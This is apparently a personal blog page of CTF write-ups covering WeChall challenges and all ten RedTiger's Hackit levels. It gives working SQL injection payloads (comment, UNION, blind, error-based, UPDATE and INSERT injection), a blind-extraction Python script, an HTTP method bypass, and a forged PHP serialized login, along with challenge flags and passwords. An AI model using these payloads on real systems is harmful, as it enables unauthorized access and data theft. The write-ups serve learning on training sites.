Hello Navi

Tech, Security & Personal Notes

Challenge

利用 PHP register_globals 漏洞。该挑战模拟了旧版 PHP register_globals=On 的行为:

1
foreach ($_GET as $k => $v) { $$k = $v; }

register_globals 启用时,GET/POST 参数会自动成为全局变量。目标是以 admin 身份登录。

提供了一个测试账号 test:test,但只能以用户 test 身份登录,无法登录 admin

挑战的核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }

# Send request?
if (isset($_POST['password']) && isset($_POST['username'])
&& is_string($_POST['password']) && is_string($_POST['username']))
{
$uname = GDO::escape($_POST['username']);
$pass = md5($_POST['password']);
$query = "SELECT level FROM ... WHERE username='$uname' AND password='$pass'";
$db = gdo_db();
if (false === ($row = $db->queryFirst($query))) {
echo GWF_HTML::error(...);
} else {
# Login success
$login = array($_POST['username'], (int)$row['level']);
}
}

if (isset($login))
{
echo GWF_HTML::message('Register Globals', 'Welcome back, ...');
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}

Solution

register_globals=On 的行为是将 GET/POST 参数直接提升为全局变量。代码中的 foreach ($_GET as $k => $v) { $$k = $v; }(variable variables)模拟了这一机制。

直接传入 login[0]=admin 构造 $login 数组:

1
2
$ curl -b 'WC=...' -g \
'https://www.wechall.net/en/challenge/training/php/globals/globals.php?login[0]=admin'

foreach ($_GET as $k => $v) { $$k = $v; }$_GET['login'] = ['admin'] 赋给 $loginisset($login)$login[0] === 'admin' 同时通过,挑战完成。userlevel 为空是因为绕过了数据库查询——没有真实用户被认证,但这不影响 flag 发放。

注意 URL 中的 [] 需要用 -g--globoff)防止 curl 解释为通配符。

Challenge

I try to secure my pages with .htaccess. Am I doing it right?

To prove me wrong, please access protected/protected.php.

挑战页包含两个链接:"my pages"(页面列表)和 ".htaccess"(源码)。

Solution

源码中的 .htaccess

1
2
3
4
5
6
7
8
AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic

<Limit GET>
require valid-user
</Limit>

关键漏洞:<Limit GET> 只限制 GET 方法。其他 HTTP method(POST、PUT、PATCH 等)不受限制。

直接用 POST 请求即可绕过:

1
curl -X POST https://www.wechall.net/challenge/wannabe7331/limited_access/protected/protected.php

如果用浏览器,也可以直接写一个 <form method="POST"> 提交到目标 URL,或者用 Burp Suite / HackBar 把 GET 改成 POST 重放。

Challenge

4-level regex training on WeChall. Each level requires the shortest possible regex pattern, submitted with delimiters (e.g. /pattern/).

Solution

Level 1 — match empty string: /^$/

Level 2 — match the string "wechall" exactly: /^wechall$/

Level 3 — match image filenames wechall.ext or wechall4.ext with valid extensions (jpg, gif, tiff, bmp, png):

1
/^wechall4?\.(?:gif|tiff|png|jpg|bmp)$/
  • 4? makes the 4 optional (wechall or wechall4)
  • (?:...) non-capturing group for the extensions (shortest possible)

Level 4 — same as L3 but capture the filename without extension:

1
/^(wechall4?)\.(?:gif|tiff|png|jpg|bmp)$/
  • (wechall4?) capture group returns wechall or wechall4

Challenge

MySQL Authentication Bypass II. Same as MySQL I, but with an additional password hash check. Your mission: Login yourself as admin. MySQL 认证绕过第二版。与 MySQL I 相同,但增加了密码哈希校验。目标:以 admin 身份登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();

$password = md5($password); # step A: hash the password
$query = "SELECT * FROM users WHERE username='$username'";

if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', 'Unknown user');
return false;
}

### NEW CHECK ###
if ($result['password'] !== $password) { # step B: compare hashes
echo GWF_HTML::error('Auth2', 'Wrong password');
return false;
}

if (strtolower($result['username']) === 'admin') { # step C: award points
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}

Solution

约束分析

MySQL I 的 admin' -- 在这里失效了,因为新增的密码校验:

  1. 密码先哈希$password = md5($password) 在查询之前执行,无法通过 SQL 注入绕过
  2. 查询结果校验$result['password'] !== $password 强制查询返回行的 password 列必须等于提交密码的 MD5

解法思路:既然我们需要控制查询返回的 password 值,用 UNION SELECT 自己构造一行即可。

注入点确认

username 直接拼接进 SQL,无任何过滤:

1
SELECT * FROM users WHERE username='<INJECTION>'

列数探测

users 表结构(来自源码注释):

1
2
3
4
5
CREATE TABLE IF NOT EXISTS users (
userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(32) NOT NULL,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
);

3 列:userid, username, password

构造 UNION 注入

选一个任意密码,计算其 MD5,然后用 UNION SELECT 构造一行包含 admin + 该 MD5:

payload 构造过程:

  1. 选密码 xmd5('x') = 9dd4e461268c8034f5c8564e155c67a6
  2. 用户名注入:
    1
    ' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' --
  3. 密码字段填:x

最终 SQL:

1
2
SELECT * FROM users WHERE username=''
UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- '

username='' 不匹配任何用户,UNION 的唯一一行就是 admin + 已知 MD5,完美通过 $result['password'] !== $password 检查。

提交

1
2
3
4
5
$ curl -sL 'https://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php' \
-b 'WC=...' \
--data-urlencode "username=' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- " \
--data-urlencode 'password=x' \
--data-urlencode 'login=Login'

返回 Welcome back, admin!,挑战解决。

Challenge

A simple monoalphabetic substitution cipher. The plaintext is a fixed 30-word sentence; only the password word (position 21, 12 letters) is dynamic per session. 简单的单表替换密码。明文是一个固定的 30 词句子,只有第 21 个词(12 个字母)是每 session 动态变化的。

1
2
3
4
5
6
Oh dear, I guess you have cracked the two caesar cryptos...
This one is more difficult. Although a simple substitution is easily cracked...
Again the characters are limited to A-Z... But I think I can come up with a 256 version again.

Enjoy!
SR ZBC UWJPKBZR KIH RID AUE QCUH ZBPN JR LQPCEH P UJ PJMQCNNCH TCQR YCWW HIEC RIDQ NIWDZPIE GCR PN MEESELIEACIP ZBPN WPZZWC ABUWWCEKC YUN EIZ ZII BUQH YUN PZ

Solution

这是一个 dynamic challenge — 每次加载页面都会生成新的密文,但明文句子的结构固定,只有密码词变化。解法是通过 known-plaintext matching 建立字母映射表。

步骤 1:确定已知词

把 30 个密文词列出来,用常见的短英语词来锚定:

1
2
3
4
5
6
7
8
 1: SR          2: ZBC         3: UWJPKBZR     4: KIH
5: RID 6: AUE 7: QCUH 8: ZBPN
9: JR 10: LQPCEH 11: P 12: UJ
13: PJMQCNNCH 14: TCQR 15: YCWW 16: HIEC
17: RIDQ 18: NIWDZPIE 19: GCR 20: PN
21: MEESELIEACIP 22: ZBPN 23: WPZZWC
24: ABUWWCEKC 25: YUN 26: EIZ 27: ZII
28: BUQH 29: YUN 30: PZ

WeChall Substitution I 的固定部分含有大量可识别的短词:

  • 第 2 词 ZBC (3 字母) → "the"(英语最常用词)
  • 第 1 词 SR (2 字母) → "by"(常见介词)
  • 第 5 词 RID (3 字母) → "you"
  • 第 6 词 AUE (3 字母) → "can"
  • 第 27 词 ZII (3 字母, 双写结尾) → "too"(仅有的几个双写 3 字母词之一)
  • 第 25/29 词 YUN (3 字母) → "was"(在句子中位置吻合)

步骤 2:推导映射

从第 2 词 ZBC → "the" 开始:

1
2
3
Z → t
B → h
C → e

第 5 词 RID → "you":

1
2
3
R → y
I → o
D → u

第 27 词 ZII → "too"(Z 已知 → t,II → oo,确认匹配):

1
I → o   ✓(与 RID 一致)

第 1 词 SR → "by":

1
2
S → b
R → y ✓(与 RID 一致)

不断重复——每匹配一个词就扩充映射表。29 个固定词的映射足以覆盖 A-Z 几乎所有字母。

步骤 3:解码密码词

第 21 词 MEESELIEACIP 是密码词。用已推导的映射逐字母解码即可得到 12 字母密码。

也可以直接用 subsolve 自动解:

1
2
3
4
5
6
7
8
9
$ ./target/release/subsolve "SR ZBC UWJPKBZR KIH RID AUE QCUH ZBPN JR LQPCEH P UJ PJMQCNNCH TCQR YCWW HIEC RIDQ NIWDZPIE GCR PN MEESELIEACIP ZBPN WPZZWC ABUWWCEKC YUN EIZ ZII BUQH YUN PZ"
Score: -567.73 (quadgram)
─────────────────────────────────────────────────────────────────
by the almighty god you can read this my friend iam impressed very well
done your solution key is pn nb nf once oi this little challenge was not
too hard was it
─────────────────────────────────────────────────────────────────
alt 2 (q: -1549.27): by the almighty god you can read this my friend i am impressed very well done yo...
alt 3 (q: -1557.21): by the almighty god you can read this my friend iam impressed very well done you...
pnnbnfonceoi

此密码为当前 session 动态值,其他 session 的密码需重新解码。方法不变——known-plaintext matching 或 subsolve tool 均可。

Challenge

访问 ?action=request 获取一个随机消息,在 1.337 秒内将相同的消息提交回 ?answer=<message>

1
2
3
When you visit this link you receive a message.
Submit the same message back to .../?answer=the_message
Your timelimit is 1.337 seconds

Solution

手动打开两个页面来不及,需要用脚本在同一次 shell 调用中完成——变量捕获后立即提交:

1
2
MSG=$(curl -s -b 'WC=...' 'https://www.wechall.net/challenge/training/programming1/index.php?action=request')
curl -s -b 'WC=...' "https://www.wechall.net/challenge/training/programming1/index.php?answer=$MSG"

消息每次都不同(如 CRg1xhGuz97G7sp7IJGZk),且只有 1.337 秒有效。需要登录态(WC cookie)才能请求。

1
2
3
4
5
6
7
8
9
10
11
12
import subprocess, sys
url = 'https://www.wechall.net/challenge/training/programming1/index.php'
cookie = 'WC=...'

msg = subprocess.run(
['curl', '-s', '-b', cookie, url + '?action=request'],
capture_output=True, text=True).stdout.strip()

result = subprocess.run(
['curl', '-s', '-b', cookie, url + f'?answer={msg}'],
capture_output=True, text=True).stdout
print(result)
关键是用同一个 shell session 连续执行请求和提交,中间不加人工操作。

Challenge

The page displays a long binary string — 7-bit ASCII encoded text:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
10101001101000110100111100110100
00011101001100101111100011101000
10000011010011110011010000001101
11010110111000101101001111010001
00000110010111011101100011110111
11100100110010111001000100000110
00011110011110001111010011101001
01011100100000101100111011111110
10111100100100000111000011000011
11001111100111110111110111111100
10110010001000001101001111001101
00000110010111000011110011111100
11110011111010011000011110010111
0100110010111100100101110

Solution

每 7 位一组转十进制,再转 ASCII 字符:

1
2
3
4
bin_str = "01010100 01101000 ..."
chars = [chr(int(b, 2)) for b in bin_str.split()]
print(''.join(chars))
# This text is 7-bit encoded ascii. Your password is ***********.
easystarter

经典 MySQL 认证绕过。登录表单直接将用户输入拼接进 SQL 查询。

Challenge

目标:以 admin 身份登录。

源码中的查询逻辑:

1
2
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  • $username 直接从 POST 参数拼接,无任何过滤
  • $password 经过 md5() 编码后再拼接,注入困难
1
2
3
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}

要求返回的 username 字段为 admin(大小写不敏感)。

Solution

在 username 注入 SQL 注释,截断密码检查:

1
2
Username: admin' --
Password: (任意)

实际执行的 SQL:

1
SELECT * FROM users WHERE username='admin' -- ' AND password='<md5>'

-- 后的内容被注释掉,查询只检查 username='admin'。数据库中存在 admin 用户,返回其数据,strtolower($result['username']) === 'admin' 成立,挑战解决。

I have written another include system for my dynamic webpages, but it seems to be vulnerable to LFI. 一个 PHP LFI 挑战,利用 PHP 松散比较(type juggling)绕过 switch 限制。

Challenge

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset($_GET['which'])) {
$which = $_GET['which'];
switch ($which) {
case 0:
case 1:
case 2:
require_once $which.'.php';
break;
default:
echo 'Hacker NoNoNo!';
}
}
?>

index.php?which=0 加载 News,which=1 加载 Forum,which=2 加载 Guestbook。

目标是加载 solution.php

Solution

PHP 的 switch 使用松散比较(== 而非 ===)。当字符串与整数比较时,PHP 把字符串转成整数——"solution" 不以数字开头,转成 0,因此 "solution" == 0true

1
var_dump("solution" == 0);  // bool(true)

传入 which=solution

  • $which = "solution"
  • switch 比较 "solution" == 0true,命中 case 0
  • case 0 无代码也无 breakfall-throughcase 1,再 fall-through 到 case 2
  • case 2:require_once $which.'.php' 执行

注意一点:$which 的值不会被 switch 改变 — 匹配到 case 0 之后,$which 仍然是 "solution",不是 0。fall-through 只是让执行流落入 case 2 的代码块,而那块代码引用的是原始变量值。

1
2
3
4
5
6
$which = "solution";
switch ($which) {
case 0: // "solution" == 0 → match, 但 $which 还是 "solution"
case 1: // fall-through
case 2: // fall-through, require_once "solution".php" ← 用的是原始 $which
}

绕过了 switch 的 default 拦截,也无需 . / 等特殊字符。

1
https://www.wechall.net/challenge/php0817/index.php?which=solution

验证:页面显示 "Well done, too easy... Do you know why this is possible?",solution.php 成功包含。

RedTiger's Hackit

https://redtiger.labs.overthewire.org

RedTiger 是一个纯 Web 安全的 wargame,共 10 关,全是 SQL 注入(最后一关是 PHP 反序列化),从简单到复杂。

解法记录如下。

Level 1 — Simple SQL-Injection

目标:获取 Hornoxe 用户的密码

表名:level1_users

页面 GET 参数 ?cat=N 存在数字型注入,原始 SQL 类似:

1
SELECT col1, col2, col3, col4 FROM some_table WHERE cat=1

这里 cat 参数查的是分类表,和登录无关。登录查询针对 level1_users 表。回显第 3、4 列。UNION 注入枚举 4 列即可:

1
?cat=1 UNION SELECT 1,2,username,password FROM level1_users

拿到 Hornoxe 的密码:thatwaseasy

登录后拿到 flag 和 Level 2 密码。

27cbddc803ecde822d87a7e8639f9315

Level 2 密码:passwords_will_change_over_time_let_us_do_a_shitty_rhyme

Level 2 — Simple login-bypass

目标:登录绕过

用 Level 1 密码通过 Cookie level2login 认证后,页面显示登录表单。

SQL 类似(表名推测,页面未给出):

1
SELECT * FROM users WHERE username='$username' AND password='$password'

直接在 password 字段用 ' OR '1'='1 绕过条件验证。

1222e2d4ad5da677efb188550528bfaa

Level 3 密码:feed_the_cat_who_eats_your_bread

Level 3 — Get an error

目标:获取 Admin 的密码

表名:level3_users

页面用 usr 参数查询用户详情。该参数经过 urlcrypt.inc 的解密函数处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function encrypt($str) {
$cryptedstr = "";
srand(3284724);
for ($i = 0; $i < strlen($str); $i++) {
$temp = ord(substr($str, $i, 1)) ^ rand(0, 255);
while (strlen($temp) < 3) {
$temp = "0".$temp;
}
$cryptedstr .= $temp."";
}
return base64_encode($cryptedstr);
}

function decrypt($str) {
srand(3284724);
if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $str)) {
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false) {
$decStr = "";
for ($i = 0; $i < strlen($str); $i += 3) {
$array[$i/3] = substr($str, $i, 3);
}
foreach ($array as $s) {
$a = $s ^ rand(0, 255);
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>

srand(3284724) 固定种子,rand(0, 255) 序列可预测。

两个已知加密值: - MDQyMjExMDE0MTgyMTQw -> decrypt -> Admin - MDYzMjIzMDA2MTU2MTQxMjU0 -> decrypt -> TheCow

通过 glibc srand(3284724) + rand() + PHP RAND_RANGE 宏可以算出 rand(0,255) 序列(前几个:107, 183, 99, 223, 226, 137...)。用 C 程序生成 200 个 key:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
int main() {
srand(3284724);
for (int i = 0; i < 200; i++)
printf("%d,", (int)(256.0 * rand() / (RAND_MAX + 1.0)));
}

加密 SQL 注入 payload 后用 usr 参数传入。表有 7 列,列映射为:

  • Username=2, First name=6, Name=7, ICQ=5, Email=4
  • id=1, password=7

Payload:

1
' union select '1',group_concat(password),'3','4','5','6','7' from level3_users#

加密后访问拿到 Admin 密码。列映射来自第三方 writeup,实际列顺序可能有变动。

thisisaverysecurepasswordEEE5rt

Level 4 密码:put_the_kitten_on_your_head

Level 4 — Blind Injection

目标:获取表 level4_secretkeyword 列的第一个值

URL 参数:?id=N

页面提示:

  • LIKE 被禁用
  • 唯一需要盲注的关卡

?id=1 返回 Query returned 1 rows.?id=0 返回 0 rows

列数:2 列(?id=1 UNION SELECT 1,2 返回 2 rows)

盲注脚本逐位提取 keyword:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://redtiger.labs.overthewire.org/level4.php'
cookies = {'level4login': 'put_the_kitten_on_your_head'}
keyword = ''
for i in range(1, 22):
bit = ''
# 判断 bit 长度
payload = {'id': f'if((select length(bin(ascii(substr(keyword,{i},1)))) from level4_secret limit 1)=7,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit_len = 7 if 'Query returned 1 rows' in r.text else 6
for j in range(1, bit_len+1):
payload = {'id': f'if((select substr(bin(ascii(substr(keyword,{i},1))),{j},1) from level4_secret limit 1)=0,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit += '0' if 'Query returned 1 rows' in r.text else '1'
keyword += chr(int(bit, 2))
print(keyword) # killstickswithbr1cks!
killstickswithbr1cks!

Level 5 密码:this_hack_it's_old

Level 5 — Advanced login-bypass

目标:绕过登录

禁用:substring, substr, (, ), mid

提示:密码是 MD5 加密的

注入点在登录表单。表有 2 列。用 UNION 注入自定义用户和已知 MD5 值:

1
' union select '1','c81e728d9d4c2f636f067f89cc14862c' #

c81e728d9d4c2f636f067f89cc14862c2 的 MD5。服务端验证流程是:查询用户名和 MD5 密码,然后将输入密码 MD5 后比较。

ca5c3c4f0bc85af1392aef35fc1d09b3

Level 6 密码:the_stone_is_cold

Level 6 — SQL-Injection

目标:获取 level6_users 表中 status=1 的第一个用户

参数:?user=N

这是一个 UNION 注入。页面先查询用户 ID,再用返回的数据构造第二个查询。5 列。

Payload:

1
' union select 1,id,3,password,5 from level6_users where status=1 #

返回:

  • Username: 3
  • Email: m0nsterk1ll

密码 m0nsterk1ll 登录成功。

074113b268d87dea21cc839954dec932

Level 7 密码:shitcoins_are_hold

Level 7 — SQL-Injection

目标:获取发布 google 新闻的用户名(level7_news 表,autor 列)

限制:禁用 substr, substring, ascii, mid, like, --(no comments)

原始查询涉及 JOIN,错误信息泄露了结构:

1
2
3
SELECT news.*, text.text, text.title
FROM level7_news news, level7_texts text
WHERE text.id = news.id AND (text.text LIKE '%$input%' OR text.title LIKE '%$input%')

$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的 " 做 quote-balancing:

payload 的 "(第 1 列)在 MySQL 默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括 OR text.title LIKE 分支),直到第二次 union select 后的 " 才闭合。('(第 4 列)和模板残留的 %' 拼接成 ('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT 返回 4 列。

id=3 是 google 新闻在表中的条目 ID(通过枚举 text.title 确定)。

1
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('

返回 autor:TestUserforg00gle

970cecc0355ed85306588a1a01db4d80

Level 8 密码:or_so_i'm_told

Level 8 — SQL-Injection

目标:获取 admin 的密码

用户信息编辑页面,注入点在 email 字段(没有转义)。

SQL 为 UPDATE 语句:

1
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input' WHERE id=1

在 email 字段注入,将 password 写入 name 字段利用回显读取。子查询从待更新的用户表(level8_users)中读取管理员密码。MySQL 不允许 UPDATE 的子查询直接引用目标表,需用 derived table 绕一层:

1
', name=(select password from (select password from level8_users limit 1) as t), email='a

执行后页面显示 Name 字段变成密码值。

19JPYS1jdgvkj

9ea04c5d4f90dae92c396cf7a6787715

Level 9 密码:network_pancakes_milk_and_wine

Level 9 — SQL-Injection

目标:获取任意用户的用户名和密码

表名:level9_users(数据源表)

这是一个 INSERT 注入。页面有提交表单(author, title, text)。注意涉及两个表:INSERT 写入一个内容表(如 level9_news),子查询从 level9_users 读取目标数据。

= 被过滤,但可以通过闭合括号注入:

1
'),((select username from level9_users),(select password from level9_users),'1

或者用 updatexml() 做 error-based 注入:

1
a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or '

结果:

  • Username: TheBlueFlower
  • Password: this_oassword_is_SEC//Ure.promised!
84ec870f1ac294508400e30d8a26a679

Level 10 密码:whatever_just_a_fresh_password

Level 10

目标:以 TheMaster 身份登录

页面有一个隐藏的 login 字段,值是 base64 编码的 PHP 序列化数据:

1
2
3
4
5
6
7
8
9
10
11
12
<b>Welcome to Level 10</b><br /><br />
Target: Bypass the login. Login as TheMaster<br />
<br /><br /><br />
<form method="post">
<input
type="hidden"
name="login"
value="YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9"
/>
<input type="submit" value="Login" name="dologin" />
</form>
<br /><br /><br />

解码后:

1
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

PHP unserialize() 反序列化后做 == 比较,后端大致逻辑:

1
2
$data = unserialize(base64_decode($_POST['login']));
if ($data->username == 'TheMaster' && $data->password == $db_password) { ... }

利用 PHP 类型转换漏洞:当 boolstring== 比较时,true == "任何字符串" 恒为 true,password 比较永远通过。

构造 Serialize:

1
2
3
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

b:1; → boolean true

base64:

1
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=

The password for the hall of fame is: *****************************

721ce43d433ad85bcfa56644b112fa52
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE